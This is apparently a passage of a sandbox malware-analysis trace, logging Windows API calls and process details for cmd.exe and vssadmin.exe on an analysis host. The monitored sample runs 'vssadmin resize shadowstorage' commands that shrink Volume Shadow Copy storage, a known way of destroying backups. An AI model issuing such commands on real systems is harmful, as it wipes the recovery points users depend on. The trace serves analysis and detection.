	[0070.009] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6ff380*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=401MB", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6ff3cc | out: lpCommandLine="vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessInformation=0x6ff3cc*(hProcess=0xe0, hThread=0xdc, dwProcessId=0x12f8, dwThreadId=0x1378)) returned 1
	[0070.023] CloseHandle (hObject=0xdc) returned 1
	[0070.023] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0070.023] GetProcessHeap () returned 0x110000
	[0070.023] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x116c48) returned 1
	[0070.024] GetEnvironmentStringsW () returned 0x116c48*
	[0070.024] GetProcessHeap () returned 0x110000
	[0070.024] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xb1a) returned 0x114bc0
	[0070.024] FreeEnvironmentStringsA (penv="=") returned 1
	[0070.024] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0
	[0070.444] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0x6ff364 | out: lpExitCode=0x6ff364*=0x2) returned 1
	[0070.444] CloseHandle (hObject=0xe0) returned 1
	[0070.444] _vsnwprintf (in: _Buffer=0x6ff44c, _BufferCount=0x13, _Format="%08X", _ArgList=0x6ff36c | out: _Buffer="00000002") returned 8
	[0070.444] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0070.445] GetProcessHeap () returned 0x110000
	[0070.445] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x114bc0) returned 1
	[0070.445] GetEnvironmentStringsW () returned 0x118170*
	[0070.445] GetProcessHeap () returned 0x110000
	[0070.445] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xb40) returned 0x114bc0
	[0070.445] FreeEnvironmentStringsA (penv="=") returned 1
	[0070.445] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0070.445] GetProcessHeap () returned 0x110000
	[0070.445] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x114bc0) returned 1
	[0070.445] GetEnvironmentStringsW () returned 0x118170*
	[0070.446] GetProcessHeap () returned 0x110000
	[0070.446] RtlAllocateHeap (HeapHandle=0x110000, Flags=0x8, Size=0xb40) returned 0x114bc0
	[0070.446] FreeEnvironmentStringsA (penv="=") returned 1
	[0070.446] GetProcessHeap () returned 0x110000
	[0070.446] RtlFreeHeap (HeapHandle=0x110000, Flags=0x0, BaseAddress=0x117ff0) returned 1
	[0070.446] DeleteProcThreadAttributeList (in: lpAttributeList=0x6ff3f8 | out: lpAttributeList=0x6ff3f8) 
	[0070.446] ??_V@YAXPAX@Z () returned 0x1
	[0070.446] _get_osfhandle (_FileHandle=1) returned 0x90
	[0070.446] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1
	[0070.453] _get_osfhandle (_FileHandle=1) returned 0x90
	[0070.457] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0070.463] _get_osfhandle (_FileHandle=1) returned 0x90
	[0070.463] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0070.480] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0070.480] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0070.493] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0070.495] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0070.503] SetConsoleInputExeNameW () returned 0x1
	[0070.503] GetConsoleOutputCP () returned 0x1b5
	[0070.514] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0070.514] SetThreadUILanguage (LangId=0x0) returned 0x4c0409
	[0070.517] exit (_Code=2) 
	[0070.523] ??_V@YAXPAX@Z () returned 0x1

Thread:
	id = 39
	os_tid = 0x12fc


Process:
	id = "12"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x3d9aa000"
	os_pid = "0x12e8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x12d4"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 36
	os_tid = 0x12e4


Thread:
	id = 37
	os_tid = 0x1320


Thread:
	id = 38
	os_tid = 0x1300


Process:
	id = "13"
	image_name = "vssadmin.exe"
	filename = "c:\\windows\\syswow64\\vssadmin.exe"
	page_root = "0x1ab40000"
	os_pid = "0x12f8"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "11"
	os_parent_pid = "0x12d4"
	cmd_line = "vssadmin  resize shadowstorage /for=d: /on=d: /maxsize=401MB"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 40
	os_tid = 0x1378


Thread:
	id = 41
	os_tid = 0x12d0


Thread:
	id = 42
	os_tid = 0x1324


Thread:
	id = 43
	os_tid = 0x132c


Thread:
	id = 44
	os_tid = 0x12cc


Process:
	id = "14"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x1ae02000"
	os_pid = "0x136c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13fc"
	cmd_line = "cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 45
	os_tid = 0x12c8

	[0070.990] GetModuleHandleA (lpModuleName=0x0) returned 0xb70000
	[0070.990] __set_app_type (_Type=0x1) 
	[0070.990] __p__fmode () returned 0x77803c14
	[0070.990] __p__commode () returned 0x778049ec
	[0070.990] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xb86fd0) returned 0x0
	[0070.990] __getmainargs (in: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac, _DoWildCard=0, _StartInfo=0xb9d1b8 | out: _Argc=0xb9d1a4, _Argv=0xb9d1a8, _Env=0xb9d1ac) returned 0
	[0070.990] _onexit (_Func=0xb88030) returned 0xb88030
	[0070.990] _onexit (_Func=0xb88040) returned 0xb88040
	[0070.990] _onexit (_Func=0xb88050) returned 0xb88050
	[0070.991] _onexit (_Func=0xb88060) returned 0xb88060
	[0070.991] _onexit (_Func=0xb88070) returned 0xb88070
	[0070.991] _onexit (_Func=0xb88080) returned 0xb88080
	[0070.991] GetCurrentThreadId () returned 0x12c8
	[0070.991] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x12c8) returned 0xbc
	[0070.991] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76750000
	[0070.992] GetProcAddress (hModule=0x76750000, lpProcName="SetThreadUILanguage") returned 0x76764f70
	[0070.992] SetThreadUILanguage (LangId=0x0) returned 0x2f30409
	[0071.018] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0071.018] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x313fc8c | out: phkResult=0x313fc8c*=0x0) returned 0x2
	[0071.018] VirtualQuery (in: lpAddress=0x313fc97, lpBuffer=0x313fc44, dwLength=0x1c | out: lpBuffer=0x313fc44*(BaseAddress=0x313f000, AllocationBase=0x3040000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0071.018] VirtualQuery (in: lpAddress=0x3040000, lpBuffer=0x313fc44, dwLength=0x1c | out: lpBuffer=0x313fc44*(BaseAddress=0x3040000, AllocationBase=0x3040000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0071.018] VirtualQuery (in: lpAddress=0x3041000, lpBuffer=0x313fc44, dwLength=0x1c | out: lpBuffer=0x313fc44*(BaseAddress=0x3041000, AllocationBase=0x3040000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0071.019] VirtualQuery (in: lpAddress=0x3043000, lpBuffer=0x313fc44, dwLength=0x1c | out: lpBuffer=0x313fc44*(BaseAddress=0x3043000, AllocationBase=0x3040000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0071.019] VirtualQuery (in: lpAddress=0x3140000, lpBuffer=0x313fc44, dwLength=0x1c | out: lpBuffer=0x313fc44*(BaseAddress=0x3140000, AllocationBase=0x3140000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0071.019] GetConsoleOutputCP () returned 0x1b5
	[0071.028] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0071.029] SetConsoleCtrlHandler (HandlerRoutine=0xb97260, Add=1) returned 1
	[0071.029] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.029] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba388c | out: lpMode=0xba388c) returned 1
	[0071.042] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.042] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3888 | out: lpMode=0xba3888) returned 1
	[0071.049] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.049] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1
	[0071.057] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.057] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xba3890 | out: lpMode=0xba3890) returned 1
	[0071.068] _get_osfhandle (_FileHandle=1) returned 0x90
	[0071.068] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1
	[0071.075] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.075] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xba3894 | out: lpMode=0xba3894) returned 1
	[0071.090] _get_osfhandle (_FileHandle=0) returned 0x8c
	[0071.090] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1
	[0071.095] GetEnvironmentStringsW () returned 0x34b4bd0*
	[0071.095] GetProcessHeap () returned 0x34b0000
	[0071.095] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xaca) returned 0x34b56a8
	[0071.095] FreeEnvironmentStringsA (penv="A") returned 1
	[0071.095] GetProcessHeap () returned 0x34b0000
	[0071.095] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x4) returned 0x34b46b0
	[0071.095] GetEnvironmentStringsW () returned 0x34b4bd0*
	[0071.095] GetProcessHeap () returned 0x34b0000
	[0071.095] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xaca) returned 0x34b6180
	[0071.095] FreeEnvironmentStringsA (penv="A") returned 1
	[0071.095] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x313ebe8 | out: phkResult=0x313ebe8*=0xcc) returned 0x0
	[0071.095] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x78, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.095] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x1, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.095] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x1, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x0, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x40, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x40, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x40, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.096] RegCloseKey (hKey=0xcc) returned 0x0
	[0071.096] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x313ebe8 | out: phkResult=0x313ebe8*=0xcc) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x40, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x1, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x1, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x0, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x9, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x4, lpData=0x313ebf4*=0x9, lpcbData=0x313ebec*=0x4) returned 0x0
	[0071.096] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x313ebf0, lpData=0x313ebf4, lpcbData=0x313ebec*=0x1000 | out: lpType=0x313ebf0*=0x0, lpData=0x313ebf4*=0x9, lpcbData=0x313ebec*=0x1000) returned 0x2
	[0071.096] RegCloseKey (hKey=0xcc) returned 0x0
	[0071.096] time (in: timer=0x0 | out: timer=0x0) returned 0x5e40e72a
	[0071.096] srand (_Seed=0x5e40e72a) 
	[0071.096] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
	[0071.096] malloc (_Size=0x4000) returned 0x36621f0
	[0071.097] GetCommandLineW () returned="cmd.exe /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded"
	[0071.097] malloc (_Size=0xffce) returned 0x3670048
	[0071.097] ??_V@YAXPAX@Z () returned 0x313fbcc
	[0071.098] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3670048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0071.098] malloc (_Size=0xffce) returned 0x3680020
	[0071.098] ??_V@YAXPAX@Z () returned 0x313f9a0
	[0071.098] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3680020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0071.098] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0071.098] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0071.099] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0071.099] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0071.099] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0071.099] GetProcessHeap () returned 0x34b0000
	[0071.099] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b56a8) returned 1
	[0071.099] GetEnvironmentStringsW () returned 0x34b4bd0*
	[0071.099] GetProcessHeap () returned 0x34b0000
	[0071.099] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xae2) returned 0x34b7748
	[0071.099] FreeEnvironmentStringsA (penv="A") returned 1
	[0071.099] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b
	[0071.099] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xb9f840, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0071.099] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0071.099] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0071.099] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0071.099] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0071.100] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0071.100] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0071.100] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0071.100] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0071.100] malloc (_Size=0xffce) returned 0x368fff8
	[0071.100] ??_V@YAXPAX@Z () returned 0x313f738
	[0071.100] GetProcessHeap () returned 0x34b0000
	[0071.100] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x38) returned 0x34b0ae0
	[0071.100] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x368fff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0071.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x368fff8, lpFilePart=0x313f784 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x313f784*="Desktop") returned 0x17
	[0071.101] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0071.101] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x313f508 | out: lpFindFileData=0x313f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x34b0b20
	[0071.101] FindClose (in: hFindFile=0x34b0b20 | out: hFindFile=0x34b0b20) returned 1
	[0071.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x313f508 | out: lpFindFileData=0x313f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x34b0b20
	[0071.101] FindClose (in: hFindFile=0x34b0b20 | out: hFindFile=0x34b0b20) returned 1
	[0071.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x313f508 | out: lpFindFileData=0x313f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x205eab37, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x205eab37, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x34b0b20
	[0071.102] FindClose (in: hFindFile=0x34b0b20 | out: hFindFile=0x34b0b20) returned 1
	[0071.102] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0071.102] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0071.102] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0071.102] GetProcessHeap () returned 0x34b0000
	[0071.102] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b7748) returned 1
	[0071.102] GetEnvironmentStringsW () returned 0x34b4bd0*
	[0071.102] GetProcessHeap () returned 0x34b0000
	[0071.102] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0xb1a) returned 0x34b6c58
	[0071.102] FreeEnvironmentStringsA (penv="=") returned 1
	[0071.102] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x3670048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0071.102] GetProcessHeap () returned 0x34b0000
	[0071.102] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b0ae0) returned 1
	[0071.102] ??_V@YAXPAX@Z () returned 0x1
	[0071.102] ??_V@YAXPAX@Z () returned 0x1
	[0071.102] GetProcessHeap () returned 0x34b0000
	[0071.102] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x400e) returned 0x34b8d60
	[0071.102] GetProcessHeap () returned 0x34b0000
	[0071.102] RtlAllocateHeap (HeapHandle=0x34b0000, Flags=0x8, Size=0x8c) returned 0x34b7780
	[0071.103] GetProcessHeap () returned 0x34b0000
	[0071.103] RtlFreeHeap (HeapHandle=0x34b0000, Flags=0x0, BaseAddress=0x34b8d60) returned 1
	[0071.103] GetConsoleOutputCP () returned 0x1b5
	[0071.106] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xba3850 | out: lpCPInfo=0xba3850) returned 1
	[0071.106] GetUserDefaultLCID () returned 0x409
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xb9f82c, cchData=8 | out: lpLCData=":") returned 2
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x313faf4, cchData=128 | out: lpLCData="0") returned 2
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x313faf4, cchData=128 | out: lpLCData="0") returned 2
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x313faf4, cchData=128 | out: lpLCData="1") returned 2
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xb9f81c, cchData=8 | out: lpLCData="/") returned 2
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xb9f7b8, cchData=32 | out: lpLCData="Mon") returned 4
	[0071.106] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xb9f778, cchData=32 | out: lpLCData="Tue") returned 4
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xb9f738, cchData=32 | out: lpLCData="Wed") returned 4
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xb9f6f8, cchData=32 | out: lpLCData="Thu") returned 4
	[0071.107] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xb9f6b8, cchData=32 | out: lpLCData="Fri") returned 4
